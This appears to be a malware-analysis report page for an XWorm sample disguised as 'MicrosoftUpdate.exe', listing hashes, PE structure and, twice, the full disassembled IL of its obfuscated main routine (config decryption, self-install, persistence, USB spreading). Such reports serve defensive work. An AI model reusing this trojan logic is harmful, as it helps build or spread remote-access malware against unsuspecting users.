Malicious
Malicious

765c8789ed45d226bb19a56146b789e7

PE Executable
|
MD5: 765c8789ed45d226bb19a56146b789e7
|
Size: 206.34 KB
|
application/x-dosexec


Print
Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Medium

Hash
Hash Value
MD5
765c8789ed45d226bb19a56146b789e7
Sha1
383a209acaf39d5d8b20b7f88ad4f6e47faa2de4
Sha256
729fcf83579426cac37711a41684e00b76fd901f57ea743a34c72c181acb6e07
Sha384
cf69629bd9a74591284487bef0588ded6cc458497b8be9749f30f4fdc36dd27db242fcac663a72a398d00e780fb55fe6
Sha512
d05836adde0f11f636ce156e846ffa6993c54c1f9ca87895121cb6b08b0a9ebedaf0df71d6242179c089d55c5867eafd934bb2940fdd2daff695e027a6183f9c
SSDeep
3072:3Py2I9Mx8HNiZiZ0ED1VRlcPl7aPJpIwbzqBz65/M6If+3Js+3JFkKeTnc:ZIWgNiyj1VRqPRfwbuxBt25
TLSH
A814284AF751C6A0D2288E33D457D5B80B66BC9BFB27FA2B35C4BF922C320449D0B915

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
Value
family

xworm

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

MicrosoftUpdate.exe

Full Name

MicrosoftUpdate.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

MicrosoftUpdate.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

MicrosoftUpdate

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

0

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

408

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 899 ldc.i4 959 call System.Void My.MyApplication::Ⴅ(System.Int32,System.Char,System.Int32) ldc.i4.6 <null> stloc.s V_15 ldloc.s V_15 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 457 ldc.i4 424 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 83 ldc.i4.s 50 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::Port ldc.i4.1 <null> stloc.s V_15 br.s IL_001D: ldloc.s V_15 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 233 ldc.i4 136 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 517 ldc.i4 612 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::SPL ldc.i4.0 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 581 ldc.i4 548 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 742 ldc.i4 647 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::USBNM ldc.i4.8 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 574 ldc.i4 607 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) ldc.i4.s 110 ldc.i4.s 35 call System.String Stub.Messages::ႤႤ<System.String>(System.String,System.Int32,System.Int32) stsfld System.String Settings::InstallDir ldc.i4.2 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 757 ldc.i4 660 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::InstallStr leave.s IL_018C: ldc.i4.4 dup <null> ldc.i4 907 ldc.i4 901 call System.Void My.MyComputer::Ⴃ<System.Exception>(System.Exception,System.Int32,System.Char) stloc.3 <null> ldc.i4.0 <null> ldc.i4 364 ldc.i4 337 call System.Void My.MyApplication::Ⴅ(System.Int32,System.Char,System.Int32) ldc.i4 674 ldc.i4 646 call System.Void Stub.AlgorithmAES::Ⴗ(System.Int16,System.Int32) leave.s IL_018C: ldc.i4.4 ldc.i4.4 <null> stloc.s V_17 ldloc.s V_17 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴀ.Ⴈ::Ⴈ() brtrue.s IL_01BE: ldc.i4.0 ldc.i4.6 <null> stloc.s V_17 br.s IL_018F: ldloc.s V_17 ldc.i4.0 <null> br.s IL_01BA: stloc.s V_17 ldc.i4.0 <null> ldc.i4 412 ldc.i4 417 call System.Void My.MyApplication::Ⴅ(System.Int32,System.Char,System.Int32) ldsfld System.String Settings::InstallDir ldnull <null> ldc.i4.1 <null> ldc.i4 717990073 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4 876 ldc.i4 804 call System.String Stub.Messages/ႣႥ::Ⴄ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Char) stloc.0 <null> ldc.i4.2 <null> stloc.s V_19 ldloc.s V_19 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4.s 42 ldc.i4.8 <null> call System.IO.DirectoryInfo Stub.Messages::ႨႤ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Int32) ldc.i4 797 ldc.i4 878 call System.String My.MyComputer::ႰႨ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Char,System.Char) stloc.s V_4 ldc.i4.0 <null> stloc.s V_19 br.s IL_01FA: ldloc.s V_19 ldloc.s V_4 ldc.i4.3 <null> ldc.i4.s 98 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) ldc.i4.s 52 ldc.i4.s 118 call System.Boolean Stub.AlgorithmAES::Ⴓ<System.String>(System.String,System.Int32,System.Char) brtrue.s IL_026C: ldc.i4.s 9 ldc.i4.4 <null> stloc.s V_19 br.s IL_01FA: ldloc.s V_19 ldc.i4.s 9 br.s IL_0268: stloc.s V_19 ldloc.s V_4 ldc.i4 884 ldc.i4 789 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) ldc.i4.s 53 ldc.i4.s 51 call System.IO.DirectoryInfo Stub.AlgorithmAES::ႰႰ<System.String>(System.String,System.Int16,System.Int16) pop <null> ldc.i4.s 9 stloc.s V_19 br IL_01FA: ldloc.s V_19 ldloc.0 <null> isinst System.String ldc.i4 883 ldc.i4 818 call System.Boolean Stub.AlgorithmAES::Ⴓ<System.String>(System.String,System.Int32,System.Char) brfalse.s IL_02B3: ldc.i4.3 ldc.i4.8 <null> stloc.s V_19 br IL_01FA: ldloc.s V_19 ldc.i4.3 <null> br.s IL_02AC: stloc.s V_19 ldloc.0 <null> castclass System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 castclass System.IO.FileInfo ldc.i4.s 35 ldc.i4.s 104 call System.Void Stub.AlgorithmAES::ႰႤ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char) ldc.i4 1000 ldc.i4 182 ldc.i4 138 call System.Void My.MyApplication::Ⴅ(System.Int32,System.Char,System.Int32) ldloc.0 <null> isinst System.String ldsfld System.String Ⴀ.Ⴈ::Ⴗ ldc.i4 644 ldc.i4 732 call System.Byte[] My.MyComputer::ႰႤ<System.String>(System.String,System.Char,System.Char) ldc.i4 747 ldc.i4 675 call System.Void My.MyComputer::Ⴗ<System.String>(System.String,System.Byte[],System.Int32,System.Char) leave.s IL_032F: ldc.i4.6 dup <null> ldc.i4 342 ldc.i4 344 call System.Void My.MyComputer::Ⴃ<System.Exception>(System.Exception,System.Int32,System.Char) stloc.s V_6 ldc.i4.s 78 ldc.i4.s 106 call System.Void Stub.AlgorithmAES::Ⴗ(System.Int16,System.Int32) leave.s IL_032F: ldc.i4.6 ldc.i4.6 <null> stloc.s V_21 ldloc.s V_21 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4 533 ldc.i4 526 call System.String Stub.Messages::ႤႠ(System.Environment/SpecialFolder,System.Int16,System.Char) ldnull <null> ldc.i4.1 <null> ldc.i4 717990073 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4 999 ldc.i4 937 call System.String Stub.Messages::ႤႤ<System.String>(System.String,System.Int32,System.Int32) ldnull <null> ldc.i4.2 <null> ldc.i4 717990580 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4 646 ldc.i4 682 call System.String Stub.Messages::ႤႼ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int32) stloc.s V_7 ldc.i4.1 <null> stloc.s V_21 br.s IL_0332: ldloc.s V_21 ldnull <null> ldc.i4.2 <null> ldc.i4 717991907 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldnull <null> ldc.i4.6 <null> ldc.i4 717990028 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4 980 ldc.i4 997 call System.Object My.MyApplication::Ⴈ<System.String,System.String>(System.String,System.String,System.Int32,System.Int16) ldnull <null> ldnull <null> ldc.i4.1 <null> ldc.i4 717991124 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 isinst System.Object[] ldc.i4.0 <null> ldloc.s V_7 castclass System.String stelem.ref <null> ldloc.s V_9 castclass System.Object[] stloc.s V_10 ldloc.s V_10 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 isinst System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 castclass System.Boolean[] ldc.i4 450 ldc.i4 506 call System.Object Stub.Messages/ႣႥ::Ⴍ<System.Type,System.Object,System.String>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Int16,System.Int32) ldloc.s V_11 isinst System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_046E: stloc.s V_12 ldloc.s V_10 isinst System.Object[] ldc.i4.0 <null> ldelem.ref <null> ldc.i4 929 ldc.i4 901 call System.Object Stub.AlgorithmAES::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_7 stloc.s V_12 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4 717991307 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 isinst System.Object[] ldc.i4.0 <null> ldloc.0 <null> isinst System.String stelem.ref <null> ldloc.s V_13 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.3 <null> stloc.s V_21 br IL_0332: ldloc.s V_21 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.7 <null> ldc.i4 717991224 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 castclass System.Object[] ldc.i4.0 <null> ldnull <null> ldc.i4.6 <null> ldc.i4 717990028 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_13 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.2 <null> stloc.s V_21 br IL_0332: ldloc.s V_21 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4 717991883 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.0 <null> stloc.s V_21 br IL_0332: ldloc.s V_21 ldnull <null> stloc.s V_12 ldloc.s V_7 castclass System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴀ.Ⴈ::Ⴈ leave.s IL_053F: ldc.i4.4 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_053F: ldc.i4.4 ldc.i4.4 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.USB::USBStart() call System.Void Ⴀ.Ⴈ::Ⴐ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldc.i4.3 <null> stloc.s V_23 br.s IL_0542: ldloc.s V_23 ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldc.i4.5 <null> stloc.s V_23 br IL_0542: ldloc.s V_23 ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null>

Module Name

MicrosoftUpdate.exe

Full Name

MicrosoftUpdate.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

MicrosoftUpdate.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

MicrosoftUpdate

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

0

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

408

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 899 ldc.i4 959 call System.Void My.MyApplication::Ⴅ(System.Int32,System.Char,System.Int32) ldc.i4.6 <null> stloc.s V_15 ldloc.s V_15 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 457 ldc.i4 424 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 83 ldc.i4.s 50 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::Port ldc.i4.1 <null> stloc.s V_15 br.s IL_001D: ldloc.s V_15 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 233 ldc.i4 136 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 517 ldc.i4 612 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::SPL ldc.i4.0 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 581 ldc.i4 548 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 742 ldc.i4 647 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::USBNM ldc.i4.8 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 574 ldc.i4 607 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) ldc.i4.s 110 ldc.i4.s 35 call System.String Stub.Messages::ႤႤ<System.String>(System.String,System.Int32,System.Int32) stsfld System.String Settings::InstallDir ldc.i4.2 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 757 ldc.i4 660 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) stsfld System.String Settings::InstallStr leave.s IL_018C: ldc.i4.4 dup <null> ldc.i4 907 ldc.i4 901 call System.Void My.MyComputer::Ⴃ<System.Exception>(System.Exception,System.Int32,System.Char) stloc.3 <null> ldc.i4.0 <null> ldc.i4 364 ldc.i4 337 call System.Void My.MyApplication::Ⴅ(System.Int32,System.Char,System.Int32) ldc.i4 674 ldc.i4 646 call System.Void Stub.AlgorithmAES::Ⴗ(System.Int16,System.Int32) leave.s IL_018C: ldc.i4.4 ldc.i4.4 <null> stloc.s V_17 ldloc.s V_17 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴀ.Ⴈ::Ⴈ() brtrue.s IL_01BE: ldc.i4.0 ldc.i4.6 <null> stloc.s V_17 br.s IL_018F: ldloc.s V_17 ldc.i4.0 <null> br.s IL_01BA: stloc.s V_17 ldc.i4.0 <null> ldc.i4 412 ldc.i4 417 call System.Void My.MyApplication::Ⴅ(System.Int32,System.Char,System.Int32) ldsfld System.String Settings::InstallDir ldnull <null> ldc.i4.1 <null> ldc.i4 717990073 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4 876 ldc.i4 804 call System.String Stub.Messages/ႣႥ::Ⴄ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Char) stloc.0 <null> ldc.i4.2 <null> stloc.s V_19 ldloc.s V_19 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4.s 42 ldc.i4.8 <null> call System.IO.DirectoryInfo Stub.Messages::ႨႤ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Int32) ldc.i4 797 ldc.i4 878 call System.String My.MyComputer::ႰႨ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Char,System.Char) stloc.s V_4 ldc.i4.0 <null> stloc.s V_19 br.s IL_01FA: ldloc.s V_19 ldloc.s V_4 ldc.i4.3 <null> ldc.i4.s 98 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) ldc.i4.s 52 ldc.i4.s 118 call System.Boolean Stub.AlgorithmAES::Ⴓ<System.String>(System.String,System.Int32,System.Char) brtrue.s IL_026C: ldc.i4.s 9 ldc.i4.4 <null> stloc.s V_19 br.s IL_01FA: ldloc.s V_19 ldc.i4.s 9 br.s IL_0268: stloc.s V_19 ldloc.s V_4 ldc.i4 884 ldc.i4 789 call System.String My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int16,System.Char) ldc.i4.s 53 ldc.i4.s 51 call System.IO.DirectoryInfo Stub.AlgorithmAES::ႰႰ<System.String>(System.String,System.Int16,System.Int16) pop <null> ldc.i4.s 9 stloc.s V_19 br IL_01FA: ldloc.s V_19 ldloc.0 <null> isinst System.String ldc.i4 883 ldc.i4 818 call System.Boolean Stub.AlgorithmAES::Ⴓ<System.String>(System.String,System.Int32,System.Char) brfalse.s IL_02B3: ldc.i4.3 ldc.i4.8 <null> stloc.s V_19 br IL_01FA: ldloc.s V_19 ldc.i4.3 <null> br.s IL_02AC: stloc.s V_19 ldloc.0 <null> castclass System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 castclass System.IO.FileInfo ldc.i4.s 35 ldc.i4.s 104 call System.Void Stub.AlgorithmAES::ႰႤ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char) ldc.i4 1000 ldc.i4 182 ldc.i4 138 call System.Void My.MyApplication::Ⴅ(System.Int32,System.Char,System.Int32) ldloc.0 <null> isinst System.String ldsfld System.String Ⴀ.Ⴈ::Ⴗ ldc.i4 644 ldc.i4 732 call System.Byte[] My.MyComputer::ႰႤ<System.String>(System.String,System.Char,System.Char) ldc.i4 747 ldc.i4 675 call System.Void My.MyComputer::Ⴗ<System.String>(System.String,System.Byte[],System.Int32,System.Char) leave.s IL_032F: ldc.i4.6 dup <null> ldc.i4 342 ldc.i4 344 call System.Void My.MyComputer::Ⴃ<System.Exception>(System.Exception,System.Int32,System.Char) stloc.s V_6 ldc.i4.s 78 ldc.i4.s 106 call System.Void Stub.AlgorithmAES::Ⴗ(System.Int16,System.Int32) leave.s IL_032F: ldc.i4.6 ldc.i4.6 <null> stloc.s V_21 ldloc.s V_21 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4 533 ldc.i4 526 call System.String Stub.Messages::ႤႠ(System.Environment/SpecialFolder,System.Int16,System.Char) ldnull <null> ldc.i4.1 <null> ldc.i4 717990073 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4 999 ldc.i4 937 call System.String Stub.Messages::ႤႤ<System.String>(System.String,System.Int32,System.Int32) ldnull <null> ldc.i4.2 <null> ldc.i4 717990580 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4 646 ldc.i4 682 call System.String Stub.Messages::ႤႼ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int32) stloc.s V_7 ldc.i4.1 <null> stloc.s V_21 br.s IL_0332: ldloc.s V_21 ldnull <null> ldc.i4.2 <null> ldc.i4 717991907 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldnull <null> ldc.i4.6 <null> ldc.i4 717990028 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4 980 ldc.i4 997 call System.Object My.MyApplication::Ⴈ<System.String,System.String>(System.String,System.String,System.Int32,System.Int16) ldnull <null> ldnull <null> ldc.i4.1 <null> ldc.i4 717991124 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 isinst System.Object[] ldc.i4.0 <null> ldloc.s V_7 castclass System.String stelem.ref <null> ldloc.s V_9 castclass System.Object[] stloc.s V_10 ldloc.s V_10 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 isinst System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 castclass System.Boolean[] ldc.i4 450 ldc.i4 506 call System.Object Stub.Messages/ႣႥ::Ⴍ<System.Type,System.Object,System.String>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Int16,System.Int32) ldloc.s V_11 isinst System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_046E: stloc.s V_12 ldloc.s V_10 isinst System.Object[] ldc.i4.0 <null> ldelem.ref <null> ldc.i4 929 ldc.i4 901 call System.Object Stub.AlgorithmAES::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_7 stloc.s V_12 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4 717991307 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 isinst System.Object[] ldc.i4.0 <null> ldloc.0 <null> isinst System.String stelem.ref <null> ldloc.s V_13 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.3 <null> stloc.s V_21 br IL_0332: ldloc.s V_21 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.7 <null> ldc.i4 717991224 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 castclass System.Object[] ldc.i4.0 <null> ldnull <null> ldc.i4.6 <null> ldc.i4 717990028 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_13 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.2 <null> stloc.s V_21 br IL_0332: ldloc.s V_21 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4 717991883 call System.String Stub.Messages::Ⴓ(System.String,System.Int32,System.Int32) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.0 <null> stloc.s V_21 br IL_0332: ldloc.s V_21 ldnull <null> stloc.s V_12 ldloc.s V_7 castclass System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴀ.Ⴈ::Ⴈ leave.s IL_053F: ldc.i4.4 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_053F: ldc.i4.4 ldc.i4.4 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.USB::USBStart() call System.Void Ⴀ.Ⴈ::Ⴐ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldc.i4.3 <null> stloc.s V_23 br.s IL_0542: ldloc.s V_23 ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldc.i4.5 <null> stloc.s V_23 br IL_0542: ldloc.s V_23 ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null>

765c8789ed45d226bb19a56146b789e7 (206.34 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙